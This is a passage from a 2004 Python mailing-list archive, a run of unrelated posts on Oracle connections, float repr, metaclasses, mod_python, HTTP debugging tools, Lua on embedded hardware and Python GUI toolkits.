connection descriptor as SQL*Plus uses. If that works, we can look at why your makedsn call isn't constructing the same descriptor. (Or, more likely, you can just use the literal connect string that works, and not bother about gory Oracle details :-)) [elsewhere] > Yes, I can hit the Oracle database on the remote (posix) machine with > SQL*Plus running on my Windows box. Does that help me out? Please excuse my > ignorance...I've been using MS-SQL Server for the past 4 or 5 years. Hang on. Is your Python script running on the Windows box? If so, the os.putenv stuff is both irrelevant and wrong. On Windows, you don't need any environment variables. Just skip all the putenv stuff. Hope this helps, Paul. PS If you don't follow any of the above, could you just paste into your reply the *exact* SQL*Plus command that you use which works for you. I can then give you a more specific example to try. -- The most likely way for the world to be destroyed, most experts agree, is by accident. That's where we come in; we're computer professionals. We cause accidents. -- Nathaniel Borenstein From heikowu at ceosg.de Mon Sep 20 06:37:28 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 12:37:28 +0200 Subject: uncompressed size of .gz file In-Reply-To: <cimaig$v3e$1@sea.gmane.org> References: <000001c49ed3$35125b20$0a0c10ac@che2003> <200409201121.58282.heikowu@ceosg.de> <cimaig$v3e$1@sea.gmane.org> Message-ID: <200409201237.28937.heikowu@ceosg.de> Am Montag, 20. September 2004 12:16 schrieb Fredrik Lundh: > If it had been "native", I'd used "=" instead of "<". It never hurts to > read the relevant RFC before posting: That's why I said: "I don't know, and read up." :-) Seems strange to me that a format which is to be portable doesn't use big-endian, though, because pretty much everything else does... Heiko. From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Tue Sep 28 09:55:07 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Tue, 28 Sep 2004 14:55:07 +0100 Subject: floating point glitch In-Reply-To: <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com> References: <415295E6.9040602@ericsson.com> <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com> <cj5v5i$7vk$1@pegasus.csx.cam.ac.uk> <7xhdple624.fsf@ruckus.brouhaha.com> <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com> Message-ID: <cjbqfv$kdm$1@pegasus.csx.cam.ac.uk> Tim Roberts wrote: > Right! That's the point. str() is the perfect solution in those cases > where you want the language to lie to you. In many cases, that IS what you > want. repr() is the perfect solution when you need an invertible function. repr() does not provide an invertible function if you are using it on a list, as was pointed out here, since list.__repr__() essentially calls str() for its float members rather than repr(). -- Michael Hoffman From jmfbahciv at aol.com Thu Sep 2 09:09:41 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 02 Sep 04 13:09:41 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <du7k6vfnvx9.fsf@amadeus.cc.tut.fi> <4134a207$0$65568$a1866201@newsreader.visi.com> <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <4135ce4a$0$19726$61fed72c@news.rcn.com> <Pine.LNX.4.61.0409011503400.4389@ppepc56.ph.gla.ac.uk> Message-ID: <41372e62$0$19727$61fed72c@news.rcn.com> In article <Pine.LNX.4.61.0409011503400.4389 at ppepc56.ph.gla.ac.uk>, "Alan J. Flavell" <flavell at ph.gla.ac.uk> wrote: >On Wed, 1 Sep 2004 jmfbahciv at aol.com wrote: > >> You'ld probably get further about who's on first by knowing that >> the guy who did OS-8 also did TOPS-10 monitor work. > >I have here my manual of the "Cambridge Multiple-Access System - >User's Reference Manual" (that's Cambridge, England) dated 1968. The >file system hierarchy separator is "/". And slash was used as a command modifier on the -10s. File specification parsing used :: : [ ] < > , . (Note that I did not use punctuation in that last sentence; all those characters denoted a piece of a full file specification. A slash said, "Here comes an exception to the last phrase of the command." > >I don't know where -they- got the convention from in the first place, >admittedly. Trial and error. Historic usage. Typability. Printability. Not to mention the limitations of characters defined in the ASCII-1964 standard. > >ObPDP: the TITAN system had a PDP7 as a peripheral device, sort-of. I don't think I ever met a PDP-7. /BAH Subtract a hundred and four for e-mail. From DesertLinux at netscape.net Wed Sep 15 14:02:08 2004 From: DesertLinux at netscape.net (Byron) Date: Wed, 15 Sep 2004 18:02:08 GMT Subject: Convert Dictionary to String, vice versa? Message-ID: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net> Hello, I am a newbie and would like to know if it is possible to convert a string back to a dictionary? For example, I can convert a dictionary to a string by doing this: >>> names = {"Candy" : 2.95, "Popcorn" : 4.95} >>> strNames = str(names) >>> print strNames {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} However, is there a way to convert a string back to a dictionary? Any help is very much appreciated! Byron --- From ville at spammers.com Mon Sep 20 05:36:41 2004 From: ville at spammers.com (Ville Vainio) Date: 20 Sep 2004 12:36:41 +0300 Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> <Omo3d.17502$QJ3.11149@newssvr21.news.prodigy.com> <mailman.3524.1095636290.5135.python-list@python.org> Message-ID: <du7fz5dqo2e.fsf@amadeus.cc.tut.fi> >>>>> "Julio" == julio <julioperezsosa at yahoo.com> writes: Julio> mmm , i like to program , i like open source i hate m$ , i Julio> like python , i dont like c# cause its still in m$ domains Julio> , i like c# monodevelop and sharpdevelop and there is no Julio> real python ide avaiable so i dont have to memorize the Julio> 2000 libraries and functions and their behavior to think Julio> about programing seriusly, and the python proyects,adoption Julio> and development is decreasing more and more. so .. I don't really believe in extrapolating too much from the textual characteristics of your post, but I think you'd do much better by picking a statically typed language like C# for your proyects. -- Ville Vainio http://tinyurl.com/2prnb From carribeiro at gmail.com Tue Sep 28 06:45:43 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 28 Sep 2004 07:45:43 -0300 Subject: Metaclass with name overloading. In-Reply-To: <tyfacvag7h4.fsf@pcepsft001.cern.ch> References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <mailman.3957.1096289972.5135.python-list@python.org> <tyfacvag7h4.fsf@pcepsft001.cern.ch> Message-ID: <864d37090409280345616060a2@mail.gmail.com> On 28 Sep 2004 09:47:51 +0200, Jacek Generowicz <jacek.generowicz at cern.ch> wrote: > Carlos Ribeiro <carribeiro at gmail.com> writes: > > > On 27 Sep 2004 13:33:33 +0200, Jacek Generowicz > > <jacek.generowicz at cern.ch> wrote: > > [...] > > > > I was wondering whether it would be possible to achieve this by > > > forcing Python to use some dicitonary proxy (which accumulates > > > values, rather that keeping just the last value to be associated > > > with a key), instead of dict, when executing the class definiton? > > [...] > > > No, you can't, and it's not just a parser issue. Python uses direct > > C calls to the native dict type. It's hard coded, > > I feared this would be the case. > > > p.s. In the particular case of the original poster, I'm wondering > > what kind of application did he had in mind. > > A standalone, lightweight SWIG-like tool, in this case. But in > general, I've had cause to wonder about declarative syntaxes in Python > every now and then. I'm also exploring declarative alternatives for a lot of stuff in Python. It started explicitly as an experiment, mainly because I could not rationally explain why I did 'feel' that it was the right approach for a class of applications: form definitions, reports, webpage templates, etc. Now I think that I'm beginning to get a better understanding that allows me to articulate better *why* should I (ab)use Python for declarative programming, instead of using a data driven approach with XML, or creating my own mini-declarative language. In short, the argument goes like this: Generic templating mechanisms start as simple variable substitution engines, but as they start to be used, there's the need to add control structures (if, for, etc); it's also needed to provide more ways for the template to communicate with the main program, exchanging variables and values. At this point, wouldn't be better to write all templates in the main programming language of the system? > Thanks, to all who contributed ideas to the thread, particularly Alex, > Thomas and Lenard. I learned a lot through this thread. As a matter of fact, I used your problem as an exercise on decorators :-) And I think that, while still exploring and making some (dumb) mistakes, I'm beginning to feel comfortable with the more esoteric introspection features of Python. After looking Lenard example, I've come to think about other alternatives. There are a some interesting things that can still be done, some even more esoteric than all stuff that we've done so far. A generic solution for this problem would greatly simplify my own search, and I'll keep looking for it. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From kdahlhaus at yahoo.com Tue Sep 14 12:42:41 2004 From: kdahlhaus at yahoo.com (Kevin Dahlhausen) Date: 14 Sep 2004 09:42:41 -0700 Subject: Sample distutil setup.py script that uses SWIG and C++? References: <283adf56.0409130434.2ae0ba73@posting.google.com> <8ad8ad0a.0409131252.59881a85@posting.google.com> Message-ID: <283adf56.0409140842.2f71353c@posting.google.com> Thanks for the responses. Not forcing a depdency on swig makes sense to me, so I'm going with that for the moment. I will take a look at pyMinGW too. From jzgoda at gazeta.usun.pl Sun Sep 5 06:06:57 2004 From: jzgoda at gazeta.usun.pl (Jarek Zgoda) Date: Sun, 5 Sep 2004 10:06:57 +0000 (UTC) Subject: Linux application deployment Message-ID: <cheog1$ns4$1@atlantis.news.tpi.pl> What you consider a "best way to deploy linux python app"? I don't want to install library modules into user's site-packages, so distutils is no help. Currently, I change sys.path (adding directory where library modules are stored) and I ask users to install application into /opt hierarchy, but I don't think it's optimal. -- Jarek Zgoda http://jpa.berlios.de/ From daniel at syrinx.net Tue Sep 14 11:43:34 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Tue, 14 Sep 2004 11:43:34 -0400 Subject: [OT] Re: Ranting about the state of Python IDEs for Windows In-Reply-To: <ci7352$ijm$1@news-reader1.wanadoo.fr> References: <864d3709040913131077f1732d@mail.gmail.com> <HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com> <mailman.3307.1095171351.5135.python-list@python.org> <ci7352$ijm$1@news-reader1.wanadoo.fr> Message-ID: <2qohofF11r4inU2@uni-berlin.de> Eric Brunel wrote: > Carlos Ribeiro wrote: > [snip] > >> p.s. I know that there is another solution for this problem... but >> involves money (a lot of). Have a couple of big monitors (21', >> anyone?), side by side, and open as many windows as you wish. Position >> them where you want them to be, without overlapping. That's happiness >> :-) > > > You may not have to go as far as that: XDesk > (http://www.xdesksoftware.com/xdesk.html) allows you to create several > virtual desktops on the same screen on Windows, similar to the > workspaces you can find in many X window managers like KDE or > WindowMaker. It's a commercial product, but there's a free version; it > has fewer functions, but is perfectly usable. > > HTH There's also VirtuaWin (http://virtuawin.sourceforge.net/). I've used it for a few years and it's quite stable. Dan From godoy at ieee.org Fri Sep 17 10:53:32 2004 From: godoy at ieee.org (Jorge Godoy) Date: Fri, 17 Sep 2004 11:53:32 -0300 Subject: gui - wait for dialog to close References: <mailman.3442.1095420495.5135.python-list@python.org> Message-ID: <m3fz5hymj7.fsf@g2ctech.com> Ajay <abra9823 at mail.usyd.edu.au> writes: > hi! > > i have an application which requires a username > what i am trying to do is when the application runs, a dialog window > appears which prompts the user for his name. once thats entered, the > dialog box is destroyed, the username stored and the application gui is > drawn > > i tried doing this by adding a wait_window call in my application GUI's > init. > the idea was to suspend execution till the username is entered and the > dialog box destroyed before continuing. > > that didn't work > how can i do this? i have the option of creating the dialog box and when > the username is entered then in the function that handles the username, > create the rest of the GUI. i was wondering if there is any other way Which of the several toolkits are you using? In wxPython you can use one of the provided dialogs or create a new modal dialog... -- Godoy. <godoy at ieee.org> From usenet_spam at janc.invalid Wed Sep 1 00:45:27 2004 From: usenet_spam at janc.invalid (JanC) Date: Wed, 01 Sep 2004 04:45:27 GMT Subject: OT: simple compiled languages? References: <7xzn4fu188.fsf_-_@ruckus.brouhaha.com> Message-ID: <Xns955744BDAF3E9JanC@213.118.38.197> Paul Rubin schreef: > I'm wondering what other languages clpy'ers are familiar with, that > have simple implmentations with compilers. Never used it, but found this in my bookmarks: B-Flat (32-bit DOS compiler for a "C-like programming language") <http://www.freedos.org/news/news/news.cgi?q=f&a=html.archive/0910.html> -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From no at no.com Tue Sep 28 06:15:01 2004 From: no at no.com (richard) Date: Tue, 28 Sep 2004 10:15:01 GMT Subject: no ideas? References: <pAa6d.315483$vG5.75864@news.chello.at> <cjbd9e$ltm$1@news2.wdf.sap.corp> Message-ID: <FQa6d.315546$vG5.202573@news.chello.at> ups, thx ! From mfuhr at fuhr.org Mon Sep 20 10:08:32 2004 From: mfuhr at fuhr.org (Michael Fuhr) Date: 20 Sep 2004 08:08:32 -0600 Subject: Psycopg and threads problem References: <cimj9q$7jr$1@netlx020.civ.utwente.nl> Message-ID: <414ee460$1_2@omega.dimensional.com> Alban Hertroys <alban at magproductions.nl> writes: > I'm using psycopg to insert records in a number of threads. After the > threads finish, another thread runs to collect the inserted data. Now, > my problem is that psycopg let's my threads end before the inserts > actually took place, resulting in my collecting thread finding no > records... They are inserted after it checks. I just wrote a small test program and was unable to duplicate your problem -- the inserting threads ran, then the collecting thread saw the data. Without seeing your code we can only guess at what's wrong. Please post the simplest program that reproduces the problem. What versions of Python, psycopg, and PostgreSQL are you using? What operating system and version are you running on? > Is there a way to tell psycopg or python to wait until the insert took > place? In my test program, the inserting threads called conn.commit() and then exited. I then joined all of the inserting threads before starting the collecting thread. You could also use a condition variable to signal when the inserts have been committed. -- Michael Fuhr http://www.fuhr.org/~mfuhr/ From NOS at Utel.no Wed Sep 22 19:04:06 2004 From: NOS at Utel.no (=?iso-8859-1?q?Nils_O=2E_Sel=E5sdal?=) Date: 23 Sep 2004 01:04:06 +0200 Subject: Mod_Python apache question. References: <30875970.0409221441.1a95eac5@posting.google.com> Message-ID: <pan.2004.09.22.23.04.05.818655@Utel.no> On Wed, 22 Sep 2004 15:41:35 -0700, Ian Pellew wrote: > Hi all; > > Am I correct in thinking that Mod_Python simply executes Python > scripts from the server side using an internal Apache python engine? Yes. > Can a web page have Python script embedded in it like Java as well? If you mean by executing on the client , no. You can embed and process python on the server side though(PSP), similar to PHP/ASP/JSP.. From exarkun at divmod.com Mon Sep 20 15:44:20 2004 From: exarkun at divmod.com (exarkun at divmod.com) Date: Mon, 20 Sep 2004 19:44:20 GMT Subject: How does this function work? In-Reply-To: 0 Message-ID: <20040920194420.29723.1699939265.divmod.quotient.4203@ohm> >>> def f(y): ... return [x for x in range(3), 1, y for y in range(4), 4] ... >>> f(3) [[0, 1, 2], [0, 1, 2], 1, 1, 3, 3] >>> I've been staring at it for 15 minutes and I'm no closer to understanding than when I started. Why is this even legal Python syntax? What is going on that makes it return what it does? Jp From aleaxit at yahoo.com Sat Sep 4 05:00:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:31 +0200 Subject: Check existence of members/methods References: <qaNZc.23386$CG3.1553602@news20.bellglobal.com> Message-ID: <1gjk0oi.1bn85pv6h55h4N%aleaxit@yahoo.com> Nicolas Fleury <nid_oizo at yahoo.com_remove_the_> wrote: ... > def noraise(expressionString): > try: eval(expressionString) > except: return True > return False > > if noraise("object.setXmlFilename"): > object.setXmlFilename(currentFilename) > elif noraise("object.xmlFilename"): > object.xmlFilename = currentFilename > > But it puts code in strings, which I feel less natural. What do you > think about it? Have I miss a better solution or is there something for > that in the language? try: meth = object.setXmlFilename except AttributeError: meth = lambda x: setattr(object,'xmlFilename',x) meth(currentFillename) This doesn't assume that object.xmlFilename must already exist before you can set it, which IS implied by your code here quoted -- it just seems a slightly weird condition to me. I personally prefer the try/except/else variant: try: meth = object.setXmlFilename except AttributeError: object.xmlFilename = x else: meth(currentFillename) it seems way simpler to me. However, if you think of objects lacking a setter method as weird and exceptional ones, I see why this might seem backwards. Personally, I consider setter methods the anomaly (it's exactly to avoid them that we have property...:-) but I do understand they're frequently used. If I often had to fight with objects full of getThis, setThat methods I'd wrap them into a generic wrapper with a __setattr__ and __getattr__ to be able to use attribute get and set as common sense and decency require, e.g, something like....: class MakeSensible: def __init__(self, obj): self.__dict__['obj'] = obj def __getattr__(self, name): methname = 'get' + name[0].uppercase() + name[:1] return getattr(self.obj,methname)() def __setattr__(self, name, value): methname = 'set' + name[0].uppercase() + name[:1] return getattr(self.obj,methname)(value) (or, you could build all the needed properties at wrapping time, but it's unclear if that would be an advantage in performance and it would surely take a bit more code!-). Having made the object sensible once and for all, thanks to this wrapper, you wouldn't need to thread carefully throughout the rest of your application... Alex From mlerner at NO.SPAMumichPLEASE.edu Wed Sep 8 00:51:45 2004 From: mlerner at NO.SPAMumichPLEASE.edu (Michael George Lerner) Date: Wed, 08 Sep 2004 04:51:45 GMT Subject: Secure delete with python References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com> <chhoae$5pp$1@online.de> <chhoij$62d$1@online.de> <du74qmb9mzs.fsf@amadeus.cc.tut.fi> <VK3%c.2013$ip2.2002@newsread3.news.pas.earthlink.net> Message-ID: <Bdw%c.37$cR.1212@news.itd.umich.edu> Andrew Dalke <adalke at mindspring.com> wrote: > Ville Vainio wrote: >> Seriously? What OSen are known for [writing new content at > > another location of the disk]? I'd had thought that if >> the file size is unchanged, the data is always written over the old >> data... > It can even be filesystem specific. Back in the days > of WORM drives (do people still use those?) I know that some government agencies were still using them as recently as a couple of years ago .. there were some regulations that said that you had to keep undeletable backups of everything. I think your choice was basically between a warehouse full of file cabinets and a WORM drive or two. -michael From aleaxit at yahoo.com Tue Sep 7 05:32:44 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 11:32:44 +0200 Subject: docs on for-loop with no __iter__? References: <mailman.2873.1094321890.5135.python-list@python.org> <bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net> <mailman.2879.1094332737.5135.python-list@python.org> <Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net> <mailman.2883.1094340967.5135.python-list@python.org> <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <mailman.2913.1094451430.5135.python-list@python.org> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> <mailman.2944.1094506599.5135.python-list@python.org> <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> <mailman.2955.1094538759.5135.python-list@python.org> <1gjqisz.ujlgcqe74dvtN%aleaxit@yahoo.com> <mailman.2962.1094543082.5135.python-list@python.org> Message-ID: <1gjqq4n.ymzsqv1qptuk5N%aleaxit@yahoo.com> Steven Bethard <steven.bethard at gmail.com> wrote: ... > If you've provided a __len__ method and a __getitem__ that returns items for > each index, then you've already provided all the necessary information for > iteration. If the __getitem__ also has to raise an IndexError when the index > exceeds the length, in some sense, you're duplicating information -- both > __len__ and the IndexError tell you the length of the sequence. So it's not > an exception fear, but a duplication of code fear, which I hope is somewhat > more Pythonic. =) > > It would have made describing the protocol somewhat more complex, but it would > have made using the protocol in a class simpler. Moot point of course, since > I'm fully convinced that changing the protocol is infeasible. =) We do agree the point is moot, but we deeply disagree on the point itself. __getitem__ has to raise IndexError for invalid indices -- that's part of its job. Now we're not talking just about iteration anymore, but any kind of indexing. Having the existence of __len__ interfere with how or whether __getitem__ gets called would just substantially complicate things, particularly considering that both exist for mappings as well as for sequences. It may look superficially "convenient" to lighten your _getitem__'s burden by wishing it would only be called for "good" indices, but it's really an optical illusion. As for having __getitem__ sometimes called unconditionally (whether __len__ is there or not) and sometimes conditionally (when either __len__ is absent, or, if present, then only for indices that appear to be correct depending on __len__'s return value) -- this way madness lies. Attempts to make things "convenient" in this way are behind the almost inevitable bloating of all languages whose design principles don't put simplicity high enough on the list. "Special cases are not special enough to break the rules". When moving to Python from other languages, this kind of dynamic tension between mere convenience and conceptual simplicity is quite an important thing to keep in mind, if one is keen about understanding in depth various aspects of its design (and you do appear to be just the kind of person who values such in-depth understanding -- I'm also very much like that, myself) -- which is why I'm trying to explain my mental model for why that particular design aspect, even though not all that relevant today, was indeed an excellent choice (note that I have no bias in the matter -- that protocol was in Python well before I knew what Python was!-). It's partly a matter of "look before you leap" versus "easier to ask forgiveness than permission", a conceptual distinction that IS quite a hobby-horse of mine (although "practicality beats purity", mind you;-). Alex From lbates at swamisoft.com Fri Sep 10 09:13:24 2004 From: lbates at swamisoft.com (Larry Bates) Date: Fri, 10 Sep 2004 08:13:24 -0500 Subject: python, javascript and mysql References: <Xns95601196933C1inderjitraiyahoocom@66.185.95.104> Message-ID: <hMidnR_NH9PyNdzcRVn-vg@comcast.com> The answer is that you can do it either way. You can have python create JavaScript that creates a variable (normally an array) that contains the values and then have a JavaScript function that builds the table via DOM or you can just create the entire page using Python (as HTML) on the server and send it. All depends on exactly how the application needs to act and if you are comfortable with JavaScript client programming. Larry Bates Syscon, Inc. "someguy" <inderjitrai at yahoo.com> wrote in message news:Xns95601196933C1inderjitraiyahoocom at 66.185.95.104... > Hi all! > I'm new to python so i'm hoping someone could help me out. I'm > trying to use python for cgi. I have a page with pictures along the sides > and a table in the middle. The pictures on the side change using > javascript. What I want to do is populate that table by getting the > records from mySql using python and then somehow populate my table on the > page with these values. How do i pass these values from python back to > javascript? Or do i have to generate the whole html code again in the cgi > file? > > Thanks in advance From mail at zerospam.cleatorwilson.com Fri Sep 10 21:10:08 2004 From: mail at zerospam.cleatorwilson.com (ciw1973) Date: Fri, 10 Sep 2004 21:10:08 -0400 Subject: Lua versus C++ for embedded processor References: <mailman.369.1074114471.12720.python-list@python.org> Message-ID: <45c5d645cae78c97a5caad9e821d5a5c@localhost.talkaboutprogramming.com> I'll be starting a new project using Rabbit modules (the new wonderfully low cost, feature rich RCM3700) in a couple of weeks time. I'm quite happy to code in Dynamic C and the new version is supposed to have improved a good deal, but I do like the idea of using scripting languages where possible for future maintainability and Lua would probably be about the only option for a device like the Rabbit. If you port it to Dynamic C, could you let me know? I'd be very interested. I took a look at Lua a while ago, and even bought the Lua book to allow me to get a good feel for the language. It is actually very good, but at the time I was looking at it as a replacement for Python, but for my day-to-day, non-embedded work, the lack of additional libraries (compared to Python) was an issue. It did strike me as being ideal for embedded work, primarily due to its size, and deploying a product running software written in an interpreted language allows quick and easy live remote updating of the software itself. I've done this on devices based on embedded PC architecture running Perl, but it always seemed too optimistic a goal on something like the Rabbit Cores. From Barkmann at gmail.com Fri Sep 17 00:41:45 2004 From: Barkmann at gmail.com (Chris Barker) Date: 16 Sep 2004 21:41:45 -0700 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: <cicsha$prl@odbk17.prod.google.com> <cid5as$u3j$1@news-reader2.wanadoo.fr> Message-ID: <cc887c1d.0409162041.1433bac1@posting.google.com> I can't help myself. I havn't used either PyGUI or AnyGUI, but there is a reason: PyGUI looks like a wonderful project, the kind of GUI framework that should have come with Python ages ago. Let's face it, would TCL have ANYTHING like it's current popularity if it hadn't been for TK? It seems to me that AnyGUI is trying to be for Python what TK is for TCL, a real, native toolkit makde to work well with the language. However, it is going to take a LOT of work to get it to a point where it is nearly as full featured as wxPython, PYGTK or PyQT (or even TKinter, if you include all the extensions available for it). I can't help wondering if the project would be better off leveraging a existing cross-platform toolkit, maybe one lighter weight than wx, like Fox or FLTK. Anyway, if the PyGUI folks (is anyone other than Greg Ewing working on it?) can keep the momentum going, I'll certainly switch when it supports the features I need. It does have one development advantage over wxPython: any higher level widgets (grid, canvas, etc) should be much easier to maintain, as they will be written in Python, rather than C++. One thing that isn't clear to me about PyGUI is how much they intend to leverage the underlying toolkits. wxWidgets (and thus wxPython) make use of a lot of higer level widgets like the tree controls, using the native ones in the underlying toolkits. This makes apps look very native, but does create a very difficult problem in cross platform compatibility. I wonder where in the native vs. cross platform continuum PyGUI will fall... We should all keep an eye on Wax and Pythoncard as well. Similar goals to PyGUI, but taking a different approach, by leveraging the exisitng wxPython framework. This gives them far more functionality, even when they are immature, which is nice. I'd much rather do something in a non-python way than not be able to do it at all! Now AnyGUI: I have always thought this was a mis-guided effort from the beginning. """ The purpose of the Anygui project is to create an easy-to-use, simple, and generic module for making graphical user interfaces in Python. Its main feature is that it works transparently with many different GUI packages on most platforms. """ The first part is the same goal as PyGUI (and any number of other projects). The second part, however, I just don't get. Who cares that it will work with multiple toolkits underneith? When I'm selecting a toolkit, aside from licensing issues, I consider: * What platforms does it run on? As long as it runs on the platforms I need, I'm happy. In my case, that's OS-X, Linux and Windows. * What is the "look and feel" (the users experience)? I prefer to have a native look and feel. Some don't care so much. * What is the API like (the programmers experience)? I'd like it to be clean, and feel "pythonic" * What features does it have? (how much code can I just use, rather than have to write myself) The TK Canvas, for instance, is a strong argument for TK. wx.Grid and wx.STC likewise for wxPython. As far as what is functioning today, that leaves wxPython and pyQT as my options. I don't like the API of wxPython much, but it's C++ core is in fact helpful to me. I work in a shop that is quite distrustful of new fangled things like Python, but I have gotten them to use wxWidgets with C++, and have some hope of moving some or all work to wxPython. The fact that I can use the same toolkit with C++ and Python is a big win for that. Now back to AnyGUI: how is going to help with any of the above issues? wxPython works on all the platforms I need, and has most of the features I need. It has a pretty lousy API, so I'd like to see that improve. However, AnyGUI, while it will likely provide a much more Pythonic API, is introducing another requirement that is going to be a real problem: it needs to work with lots of toolkits. This is going to cause a balance between two competing problems: 1) lowest common denominator. If a feature doesn't exist on all toolkits, AnyGUI can't have it. or 2) emulating features on all the platforms that don't have them. This is a Monsterous amount of work ,and may not even be practical without resorting to C or C++. Can you imagine writing the wx.Grid in TK, GTK, Swing, QT, curses!, FLTK, and who knows what else. Another issue is layers: AnyGUI wxPython is a python wrapper around a SWIG wrapper around a C++ wrapper around a set of native toolkits. AnyGUI TKinter is a python wrapper around a python wrapper around a TCL toolkit, written in C that emulates X on non-X platforms. Doesn't this seem a bit much? I'd much rather see the effort going into making wxPython more pythonic (Wax or Pythoncard), or a truly python native toolkit, like PyGUI that's enough ranting for one night! -Chris From Brian.Inglis at SystematicSW.Invalid Thu Sep 2 04:35:30 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Thu, 02 Sep 2004 08:35:30 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> Message-ID: <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W. Kennedy" <jwkenne at attglobal.net> wrote: >Andre Majorel wrote: >> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote: >> >>>On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers, >>>Andre Majorel <amajorel at teezer.fr> wrote: >>> >>> >>>>On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote: >>> >>>>>Windows (MS) is not 'Unixism'? >>>> >>>>If by unixism, you mean any operating system that has a >>>>hierarchical filesystem and byte stream files, yes. But that >>>>would include quite a few other non-Unix operating systems, >>>>including Mac OS 9, Prologue and probably everything else this >>>>side of CP/M (DOS 1.x shall be deemed to be CP/M). >>> >>>DOS 2.x+ shall be deemed to be CP/M+! >> >> >> Wasn't it in version 2 that they added directories and >> Unix-style file handles ? > >Yes, and also a single-process pipe emulator. Ever since 2.0, MS has >been trying to turn MS-DOS (later, Windows) into a Unix clone. MS has been borrowing code from Unix to create a real OS: TCP/IP; NTFS<-ffs; memory mapped files<-mmap. Shame they keep trying to add their own ideas in too: that must be what causes the crashes! -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From jjl at pobox.com Tue Sep 7 19:25:45 2004 From: jjl at pobox.com (John J. Lee) Date: 08 Sep 2004 00:25:45 +0100 Subject: view http info when browsing References: <56d498d9.0409051725.1c7d3258@posting.google.com> Message-ID: <87vfep4q6e.fsf@pobox.com> santoshamb at yahoo.com (ben) writes: > I'm trying to write a web client script in python to log onto a web > page and pull some information off of it. The page has quite a few > behind the scenes http things going on that are making it difficult to > write the python script. I think if I could see the raw http data > that comes to my browser life would be much easier. Does anybody know > of programs that would run alongside my browser and show the http data > that is send back and forth? > > I've looked at plugins like httpwatch and iewatch. httpwatch looks > good but it costs quite a bit of money, and the trial is not fully > functional. iewatch has a free trial, but they don't show cookie > info, which is important. > > Does anybody know a good way of view the raw http? [...] from http://wwwsearch.sourceforge.net/bits/GeneralFAQ.html : | I want to see what my web browser is doing, but standard network | sniffers like ethereal or netcat (nc) don't work for HTTPS. How do I | sniff HTTPS traffic? | | Three good options: | | Mozilla plugin: livehttpheaders. | ieHTTPHeaders does the same for MSIE. | Use lynx -trace, and filter out the junk with a script. | | I'm told you can also use a proxy like proxomitron (never tried it | myself). There's also a commercial MSIE plugin. URLs: http://www.ethereal.com/ http://livehttpheaders.mozdev.org/ http://www.blunck.info/iehttpheaders.html http://lynx.browser.org/ http://www.proxomitron.info/ http://www.simtec.ltd.uk/ There are plugins that show what session & permanent cookies your browser has stored, too. Both Mozilla and Konqueror (& Safari and Opera too, I guess?) do this as standard, but for IE: http://www.codeproject.com/shell/cookiespy.asp?df=100&forumid=1989&exp=0&select=21591 John From me at privacy.net Sun Sep 26 15:52:20 2004 From: me at privacy.net (Richard Hanson) Date: Sun, 26 Sep 2004 12:52:20 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <mailman.3921.1096180082.5135.python-list@python.org> Message-ID: <mk1el0tnn014kp3lfnal66tcm67k8pkegt@4ax.com> Paolo Veronelli wrote: > Anyway good luck and take a good look on Indigo job:Unununium Thanks! And thanks for that reference! -- I'll check it out when I get the opportunity. --- [Note: I am having equipment and connectivity problems. I'll be back as I can when I get things sorted out better, and as appropriate (or inappropriate ;-) ). 